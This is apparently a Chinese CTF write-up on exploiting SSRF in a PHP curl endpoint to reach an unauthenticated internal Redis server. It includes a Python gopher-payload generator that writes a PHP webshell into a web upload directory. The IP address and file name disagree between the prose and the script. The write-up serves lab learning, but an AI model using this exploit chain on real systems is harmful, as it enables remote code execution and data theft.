考点:
redis未授权访问
源码:
<?php
highlight_file(__file__);
function curl($url){ $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}if(isset($_GET['url'])){$url = $_GET['url'];if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)){die('No, No, No!');}curl($url);
}
if(isset($_GET['info'])){phpinfo();
}
?>
判断是否存在ssrf:
有源码可以看出代码为get传参,所以我们可以尝试判断是否存在ssrf漏洞:
因为源码过滤了file、dict协议,但没有过滤http和gopher协议,所以我们可以使用http协议进行内
网主机存活探测。
目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:
然后我们便可以探测该网段上存活的主机了:
查看该网址的同类型地址,可以查到172.17.0.2
说明172.17.0.2同样是内网中存活的另一台主机,并且上面也运行着http服务。但是此时还不能找
到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用
burpsuite:
当我们通过字典扫描,可以看到在6379端口发现了一个报错:
这就是典型的redis报错,说明这台主机上存在redis服务。
接着我们便可以尝试 redis 未授权访问攻击,由于这台内网主机上还存在一个http服务,所以我们
可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直直接
在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。
注:这个目录可以在网上找一个目录字典来进行爆破
编写脚本生成payload:
import urllib
protocol="gopher://"
ip="172.22.0.2" # 运行着redis的内网主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmdif __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
将生成的payload放入url狸猫发送过去,
此时这台主机的upload目录里面会写一个bapp.php文件,内容为:
<?php system(\"cat /flag\");?>
此时我们通过访问bapp.php文件即可得到flag了。